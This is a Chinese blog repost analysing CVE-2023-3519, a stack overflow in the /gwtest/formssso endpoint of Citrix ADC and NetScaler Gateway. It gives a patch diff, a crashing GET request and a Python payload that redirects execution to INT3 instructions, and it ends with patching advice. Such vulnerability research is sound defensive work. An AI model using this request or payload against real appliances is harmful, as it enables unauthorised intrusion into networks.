前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >解析Citrix ADC和NetScaler Gateway中的CVE-2023-3519漏洞(第二部分)

解析Citrix ADC和NetScaler Gateway中的CVE-2023-3519漏洞(第二部分)

作者头像
公众号图幻未来
发布2024-01-13 13:34:27
3540
发布2024-01-13 13:34:27
举报
文章被收录于专栏:解决方案服务解决方案服务

“ 在我们的上一篇文章中,我们揭示了Citrix ADC和NetScaler Gateway中的一个漏洞,该漏洞在CVE-2023-3519的补丁修复程序中被发现。尽管这个漏洞也很严重,但看起来在现实场景的威胁行为中,并没有利用这个漏洞。 ”

我们继续进行分析,并发现了一个终端点,可以在不需要任何特殊配置(如启用SAML)的情况下进行远程代码执行。这个漏洞更符合CVE的描述、Citrix的警告以及其他公开的研究的描述。

通过继续对补丁差异的分析,我们发现ns_aaa_gwtest_get_event_and_target_name有一些变化,如下所示。

代码语言:javascript
复制
// Unpatched Version

if (iVar3 + 1 == iVar7 + -6) {
  iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
   pcVar8 = local_38;
   if (iVar3 == 0) {
     uVar9 = 0x16000c;
   } else {
     *(undefined *)(param_2 + iVar3) = 0;
     uVar9 = 0;
   }
}

// Patched Version

if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
 iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
 pcVar7 = local_38;
 if (iVar3 == 0) {
    uVar9 = 0x16000c;
 } else {
    *(undefined *)(param_2 + iVar3) = 0;
    uVar9 = 0;
 }
}

注意iVar3的附加检查,然后将其作为参数传递给ns_aaa_saml_url_decode。向后追踪调用图,我们发现易受攻击的函数在ns_aaa_gwtest_get_valid_fsso_server的开头被调用,该服务器位于路径/gwtest/formssso。 通过查看这个端点,我们能够确定它需要一个值为start或stop的事件查询参数。然后,该函数在不进行长度检查的情况下对目标查询参数进行URL解码。为了验证,我们构建了以下请求:

代码语言:javascript
复制
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225

这导致了接下来的撞车事故。

图片
图片

经过一番尝试,我们成功将返回地址插入到堆栈中的某个位置,并在那里放置了一些INT3指令(0xcc)。我们使用的有效载荷如下所示:

代码语言:javascript
复制
payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'\xf0\xc1\xff\xff\xff\x7f%00%00CCCCCCCCDDDDDDDD\xcc\xcc\xcc\xcc'

我们再次在GDB遭遇崩溃。这一次是在我们的中断指令执行时停止的。

下一步是将其调整为能够运行任意命令,但这是另一篇博客文章的主题。 检测此漏洞非常具有挑战性,因为当在已修补和未修补的实例上发送非恶意有效负载时,此终端点的行为相似(返回500错误)。 尽管我们发现基于版本的检查(依赖于Last-Modified或哈希值和版本号)通常不太准确,但在撰写本文时,没有其他方法可以在不尝试利用该漏洞的情况下检测此漏洞。

我们建议各组织审查CISA的妥协指标,并根据Citrix咨询尽快修补Citrix ADC和NetScaler Gateway的实例。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档